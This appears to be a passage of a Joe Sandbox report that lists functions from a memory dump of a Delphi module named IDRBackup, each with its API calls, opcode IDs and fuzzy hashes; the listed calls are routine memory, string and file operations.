Function 5701C690 Relevance: 7.6, APIs: 5, Instructions: 110COMMON

Download Yara Rule

APIs

@System@@GetMem$qqri.RTL120.BPL ref: 5701C6AA

Part of subcall function 5701C194: @System@@FillChar$qqrpvib.RTL120.BPL ref: 5701C1B6

@System@@FreeMem$qqrpv.RTL120.BPL(00000000,5701C7AE), ref: 5701C712
@System@@TryFinallyExit$qqrv.RTL120.BPL(00000000,5701C7AE), ref: 5701C71A
@System@@FreeMem$qqrpv.RTL120.BPL(00000000,5701C7AE), ref: 5701C790
@System@@FreeMem$qqrpv.RTL120.BPL(5701C7B5), ref: 5701C7A8

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$FreeMem$qqrpv.$Char$qqrpvib.Exit$qqrv.FillFinallyMem$qqri.
String ID:
API String ID: 2462974354-0
Opcode ID: 0bb7b69b45b818ee00a3f3086b3337ac259075279bfed830a3cceb735f4927c8
Instruction ID: 908402e0f2d753298770fecf977b25a1c86078e3eb03e22dcdc7d85c6cd6007d
Opcode Fuzzy Hash: 0bb7b69b45b818ee00a3f3086b3337ac259075279bfed830a3cceb735f4927c8
Instruction Fuzzy Hash: B1311972A10289AFDB50CEA8DC80EDEB3E9EB49330F514666B624D72D1D7B5DC408B91

Function 57021F28 Relevance: 7.6, APIs: 5, Instructions: 84fileCOMMON

Download Yara Rule

APIs

Part of subcall function 57020704: GetVersion.KERNEL32(00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020748
Part of subcall function 57020704: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020761
Part of subcall function 57020704: @System@@UStrClr$qqrpv.RTL120.BPL(570207C3,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 570207AE
Part of subcall function 57020704: @System@@LStrClr$qqrpv.RTL120.BPL(570207C3,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 570207B6

GetFileSize.KERNEL32(000000FF,00000000,00000000,5702200D), ref: 57021F61
@System@@GetMem$qqri.RTL120.BPL(000000FF,00000000,00000000,5702200D), ref: 57021F6D
SetFilePointer.KERNEL32(000000FF,0000000E,00000000,00000000,00000000,57021FEF,?,000000FF,00000000,00000000,5702200D), ref: 57021F8D
ReadFile.KERNEL32(000000FF,?,00000000,?,00000000,000000FF,0000000E,00000000,00000000,00000000,57021FEF,?,000000FF,00000000,00000000,5702200D), ref: 57021FA1
@System@@FreeMem$qqrpv.RTL120.BPL(57021FF6,?,00000000,000000FF,0000000E,00000000,00000000,00000000,57021FEF,?,000000FF,00000000,00000000,5702200D), ref: 57021FE9

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: FileL120System@@$Clr$qqrpv.$CreateFreeMem$qqri.Mem$qqrpv.PointerReadSizeVersion
String ID:
API String ID: 419406166-0
Opcode ID: 841ed4ed2a4d5c24c5255c7586c1fdb59ccb4f214d08ed82de413d1c6ac28088
Instruction ID: 7840b46bf69f1da89954b105236194a9b95e4d0f5818020971d25e71e2f45dda
Opcode Fuzzy Hash: 841ed4ed2a4d5c24c5255c7586c1fdb59ccb4f214d08ed82de413d1c6ac28088
Instruction Fuzzy Hash: B0218E72A11289AFDB10CFF8DC81FAEB7ECEB08210F414965FA14D7281D7759900A7A1

Function 57021F26 Relevance: 7.6, APIs: 5, Instructions: 79fileCOMMON

Download Yara Rule

APIs

Part of subcall function 57020704: GetVersion.KERNEL32(00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020748
Part of subcall function 57020704: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 57020761
Part of subcall function 57020704: @System@@UStrClr$qqrpv.RTL120.BPL(570207C3,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 570207AE
Part of subcall function 57020704: @System@@LStrClr$qqrpv.RTL120.BPL(570207C3,00000000,00000003,00000000,00000000,00000000,570207BC,?,?,?,?,00000000,00000000,00000000), ref: 570207B6

GetFileSize.KERNEL32(000000FF,00000000,00000000,5702200D), ref: 57021F61
@System@@GetMem$qqri.RTL120.BPL(000000FF,00000000,00000000,5702200D), ref: 57021F6D
SetFilePointer.KERNEL32(000000FF,0000000E,00000000,00000000,00000000,57021FEF,?,000000FF,00000000,00000000,5702200D), ref: 57021F8D
ReadFile.KERNEL32(000000FF,?,00000000,?,00000000,000000FF,0000000E,00000000,00000000,00000000,57021FEF,?,000000FF,00000000,00000000,5702200D), ref: 57021FA1
@System@@FreeMem$qqrpv.RTL120.BPL(57021FF6,?,00000000,000000FF,0000000E,00000000,00000000,00000000,57021FEF,?,000000FF,00000000,00000000,5702200D), ref: 57021FE9

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: FileL120System@@$Clr$qqrpv.$CreateFreeMem$qqri.Mem$qqrpv.PointerReadSizeVersion
String ID:
API String ID: 419406166-0
Opcode ID: f40d48a016b7d357ce20e2406b5ec4b83d7f944376ab64ace200e9c7211e86ce
Instruction ID: d2d306d72a9d66809f6b1bcfce4bffc255b2e55e66bbae57e556277903179741
Opcode Fuzzy Hash: f40d48a016b7d357ce20e2406b5ec4b83d7f944376ab64ace200e9c7211e86ce
Instruction Fuzzy Hash: 16217F72A11289BFDB10CFF8CC41FAEB7ECEB08210F414825FA10D7181D77499009761

Function 57005060 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

@System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL(00000000,57005153), ref: 5700509B
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(00000000,57005153), ref: 570050AC
@System@@UStrCatN$qqrv.RTL120.BPL(?), ref: 5700510E
@System@@UStrCat3$qqrr20System@UnicodeStringx20System@UnicodeStringt2.RTL120.BPL(00000000,57005153), ref: 57005120
@System@@UStrClr$qqrpv.RTL120.BPL(5700515A), ref: 57005145
@System@@UStrClr$qqrpv.RTL120.BPL(5700515A), ref: 5700514D

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$System@Unicode$Clr$qqrpv.$Cat3$qqrr20Length$qqrr20N$qqrv.StringString.Stringi.Stringt2.Stringx20U$qqrr20Unique
String ID:
API String ID: 2820000000-0
Opcode ID: 223433d1275848905217a364bae8d618d32db051ac878e36cfee157729164dd1
Instruction ID: 8c2e5705517d67088e1917d9cac2eaf7975793b35cbedcb598dd06298c8423b1
Opcode Fuzzy Hash: 223433d1275848905217a364bae8d618d32db051ac878e36cfee157729164dd1
Instruction Fuzzy Hash: 56216030A10688EFE701DF95D891ADEB7F5FF48320F9144A5E500D7352E7349A508B85

Function 57004366 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 5700437C
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,5700443C), ref: 5700439E
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,5700443C), ref: 570043A3
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,5700443C), ref: 570043C7
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,5700443C), ref: 57004404
@System@@UStrClr$qqrpv.RTL120.BPL(57004443), ref: 57004436

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: Unicode$L120System@@$String.System@$EnsureString$qqrr20$Clr$qqrpv.Len$qqrx20Ref$qqrpv.
String ID:
API String ID: 3997490537-0
Opcode ID: 0fe6fc2556577e5189bcbb656f4fbc464dd28048d68cffb060e2c945ad1507f1
Instruction ID: f8e6b4193dc30384ec8fafacb6fa36c4ba242371e60be9a48720e874e672d4d7
Opcode Fuzzy Hash: 0fe6fc2556577e5189bcbb656f4fbc464dd28048d68cffb060e2c945ad1507f1
Instruction Fuzzy Hash: 0711C231904198EFEB41DFA5D9805DEB7E4EB467B0BE141B6F800E3292D7B05E40D699

Function 57001690 Relevance: 7.5, APIs: 5, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 570016B4
@System@@LStrFromPWChar$qqrr27System@%AnsiStringT$us$i0$%pbus.RTL120.BPL(00000000,570016F3,?,?,?,00000000), ref: 570016C7
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,570016F3,?,?,?,00000000), ref: 570016CF
GetProcAddress.KERNEL32(?,00000000), ref: 570016D6
@System@@LStrClr$qqrpv.RTL120.BPL(570016FA,?,?,00000000), ref: 570016ED

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$AddressAnsiProcStringSystem@%$Char$qqrr27Char$qqrx27Clr$qqrpv.FromT$us$i0$%.T$us$i0$%pbus.
String ID:
API String ID: 429220181-0
Opcode ID: 0849b2c774f92a83f85d593220663f4d13eafe54e68108a64df18a0f80820e53
Instruction ID: 2d4256d7152771c5fc37020cc8e534ff14aa9a7925bc936531f197d206cbd9de
Opcode Fuzzy Hash: 0849b2c774f92a83f85d593220663f4d13eafe54e68108a64df18a0f80820e53
Instruction Fuzzy Hash: F1F09038625188BFF705DB95EC80E9E73DCEB0D260FD14072F80097382DA346E0185E5

Function 5701D4EF Relevance: 7.5, APIs: 5, Instructions: 20COMMON

Download Yara Rule

APIs

@System@@FreeMem$qqrpv.RTL120.BPL ref: 5701D4F9
@System@@FreeMem$qqrpv.RTL120.BPL ref: 5701D508
@System@@FreeMem$qqrpv.RTL120.BPL ref: 5701D510
@System@@RaiseAgain$qqrv.RTL120.BPL ref: 5701D515
@System@@DoneExcept$qqrv.RTL120.BPL ref: 5701D51A

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$FreeMem$qqrpv.$Again$qqrv.DoneExcept$qqrv.Raise
String ID:
API String ID: 3754643897-0
Opcode ID: 8169cc75716df81c73f3f248669d27d2d9384301c6e7fefa42388c61a9dba66b
Instruction ID: 64a9b161017d9f870a88fd7379c88ac90fa02cebae0fbc0b5ce20679c51e256e
Opcode Fuzzy Hash: 8169cc75716df81c73f3f248669d27d2d9384301c6e7fefa42388c61a9dba66b
Instruction Fuzzy Hash: EEE012317161D4AFAB00DBECF580E8D73F4BF442B13A004A3F444C7296CA61ED80A6A3

Function 57021E38 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(000000FF,?,0000000E,?,00000000,00000000,57021F16), ref: 57021EDC
WriteFile.KERNEL32(000000FF,?,?,?,00000000,000000FF,?,0000000E,?,00000000,00000000,57021F16), ref: 57021EF3
CloseHandle.KERNEL32(000000FF,57021F1D,?,00000000,000000FF,?,0000000E,?,00000000,00000000,57021F16), ref: 57021F10

Strings

6, xrefs: 57021E89

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: FileWrite$CloseHandle
String ID: 6
API String ID: 975693313-498629140
Opcode ID: 597874619dc6e37ab53a57295be6324e0025f8c3d737f5d402f14c77e49f43be
Instruction ID: f5da6536230fb988d6c448dfa6f41e19eb2f913e7b23f3dc8400e20fec2eea8f
Opcode Fuzzy Hash: 597874619dc6e37ab53a57295be6324e0025f8c3d737f5d402f14c77e49f43be
Instruction Fuzzy Hash: 9D31FB72911249AFDB40CFD8C844AEFB7F8EF09310F504566E614E7281E7799A04DBA5

Function 5701B2F2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

@System@@_llmod$qqrv.RTL120.BPL(00100000,00000000), ref: 5701B320
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,00100000,00000000), ref: 5701B386
@System@@RaiseExcept$qqrv.RTL120.BPL(00000000,?,00000000,?,00000000,00100000,00000000), ref: 5701B3A3

Strings

Stream write error., xrefs: 5701B394

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$Except$qqrv.FileRaiseSystem@@System@@_llmod$qqrv.Write
String ID: Stream write error.
API String ID: 3293529420-3691415965
Opcode ID: a2d595d279e26193af53a6903986741443dbb4feb77ea126ce5ddf97960b5982
Instruction ID: a1aad12bfa49af8b32e027a401f1b6494f5052c75c740ae496ef081e369d99dd
Opcode Fuzzy Hash: a2d595d279e26193af53a6903986741443dbb4feb77ea126ce5ddf97960b5982
Instruction Fuzzy Hash: 8B210834210344EFD704EF58C8C4B9EB7E5AB88361F608065F9488F696C3B4ED90CB91

Function 5701B2F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

@System@@_llmod$qqrv.RTL120.BPL(00100000,00000000), ref: 5701B320
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,00100000,00000000), ref: 5701B386
@System@@RaiseExcept$qqrv.RTL120.BPL(00000000,?,00000000,?,00000000,00100000,00000000), ref: 5701B3A3

Strings

Stream write error., xrefs: 5701B394

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$Except$qqrv.FileRaiseSystem@@System@@_llmod$qqrv.Write
String ID: Stream write error.
API String ID: 3293529420-3691415965
Opcode ID: 794e642f764b4b20a95d47306f3c7fec17dfb6b2a8d3b8d39e96a63c6e714e36
Instruction ID: 823542516f5a633b65753f82a39424a9fa2f8adf6171750ebc01aeba58aec947
Opcode Fuzzy Hash: 794e642f764b4b20a95d47306f3c7fec17dfb6b2a8d3b8d39e96a63c6e714e36
Instruction Fuzzy Hash: EC21C774210344EFDB04EF58C8C4B9EB7E5AB88365F608065F9488F696C7B4ED91CB91

Function 5701971C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

@System@@_llmod$qqrv.RTL120.BPL(00100000,00000000), ref: 57019752
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,00100000,00000000), ref: 57019777
@System@@RaiseExcept$qqrv.RTL120.BPL(00000000,?,00000000,?,00000000,00100000,00000000), ref: 57019794

Strings

Stream write error., xrefs: 57019785

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$Except$qqrv.FileRaiseSystem@@System@@_llmod$qqrv.Write
String ID: Stream write error.
API String ID: 3293529420-3691415965
Opcode ID: 265fc50a71501a24b3bd1ae38ed38937fe1a7fb5368bb21cebeed4f1fea8fcef
Instruction ID: 6658efac92f422af19e92e350d441b03fb5101bcb38b4800f3f87e7f1ffb24d8
Opcode Fuzzy Hash: 265fc50a71501a24b3bd1ae38ed38937fe1a7fb5368bb21cebeed4f1fea8fcef
Instruction Fuzzy Hash: 9801ED74620285AFEF04CF85DDC9B9A73E8EF08265F604056F9088B286D775E980CB91

Function 570138B4 Relevance: 6.4, APIs: 4, Instructions: 360COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c9d8700b4d6cb250e6692d01f29b1de8fe99d535baddb3c6da56a796bd403e5
Instruction ID: a914f4e7a0e40e39b5d65048216f806c5398005ff65379226df7e8c009ad5743
Opcode Fuzzy Hash: 8c9d8700b4d6cb250e6692d01f29b1de8fe99d535baddb3c6da56a796bd403e5
Instruction Fuzzy Hash: 3ED17F79D0654EF7CB011F54EE067CCFFF0EF45A42F22898AE4D966145DA3682A4CB82

Function 5701C7C4 Relevance: 6.1, APIs: 4, Instructions: 125COMMON

Download Yara Rule

APIs

@System@@GetMem$qqri.RTL120.BPL(00000000,5701C950), ref: 5701C802
@System@@GetMem$qqri.RTL120.BPL(00000000,5701C950), ref: 5701C80F
@System@@FreeMem$qqrpv.RTL120.BPL(5701C957), ref: 5701C93C
@System@@FreeMem$qqrpv.RTL120.BPL(5701C957), ref: 5701C94A

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$FreeMem$qqri.Mem$qqrpv.
String ID:
API String ID: 724494623-0
Opcode ID: 8a525de74c0e6f2d163dfe60116f52d61f030471d0bf6e71358da892309258ca
Instruction ID: 9ea4000f882d7a7a77b6f32f4a570653653cef16357b6692b08cb8f56423d60d
Opcode Fuzzy Hash: 8a525de74c0e6f2d163dfe60116f52d61f030471d0bf6e71358da892309258ca
Instruction Fuzzy Hash: 38417DB1A11289AFEB55CF98CC41B9FBBF1FB49314F218465E550E7382D3B8A941CB90

Function 570041B4 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 570041CB
